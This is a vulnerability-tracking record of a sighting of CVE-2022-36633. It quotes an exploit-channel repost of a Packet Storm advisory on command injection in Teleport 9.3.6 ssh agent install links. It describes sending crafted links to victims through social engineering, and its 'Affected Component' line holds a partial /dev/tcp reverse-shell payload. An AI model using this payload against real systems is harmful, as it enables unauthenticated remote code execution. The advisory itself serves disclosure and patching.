{"uuid": "7a9aa78f-6cb3-436d-9d3e-0e12c3f20d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36633", "type": "seen", "source": "https://t.me/hacking_Attack/66535", "content": "Exploit Collector\nTeleport 9.3.6 Command Injection\n\nhttps://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png \nTeleport 9.3.6 is vulnerable to command injection leading to remote code execution. An attacker can craft a malicious ssh agent installation link by URL encoding a bash escape with carriage return line feed. This url encoded payload can be used in place of a token and sent to a user in a social engineering attack. This is fully unauthenticated attack utilizing the trusted teleport server to deliver the payload.\n\nSHA-256 | 5228298638858e0e106cda75b65bd4c283027b5bc6dff934d99ebc3b59a112f7\n\nDownload\nDescription:Teleport 9.3.6 is vulnerable to Command injection leading to Remote\nCode Execution. An attacker can craft a malicious ssh agent\ninstallation link by URL encoding a bash escape with carriage return\nline feed. This url encoded payload can be used in place of a token and\nsent to a user in a social engineering attack. This is fully\nunauthenticated attack utilizing the trusted teleport server to deliver\nthe payload.\n\nAdditional Information:https://goteleport.com/\nhttps://github.com/gravitational/teleport\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36633\n\nVulnerability Type: otherCommand injection leading to Remote Code Execution\n\nVendor of Product:Teleport - https://goteleport.com/\nAffected software version: Teleport version < v10.1.2\n\nAffected Component:https://teleport.examplesite.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam  /dev/tcp/10.0.0.1/5555 0<&1&1 #\n\nPatch information:https://goteleport.com/docs/changelog/#1012\nhttps://github.com/gravitational/teleport/pull/14944\n------------------------------------------\n\nDiscoverers:\nBrandon Roach & Brian Landrum\n\n------------------------------------------\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:25.699810Z"}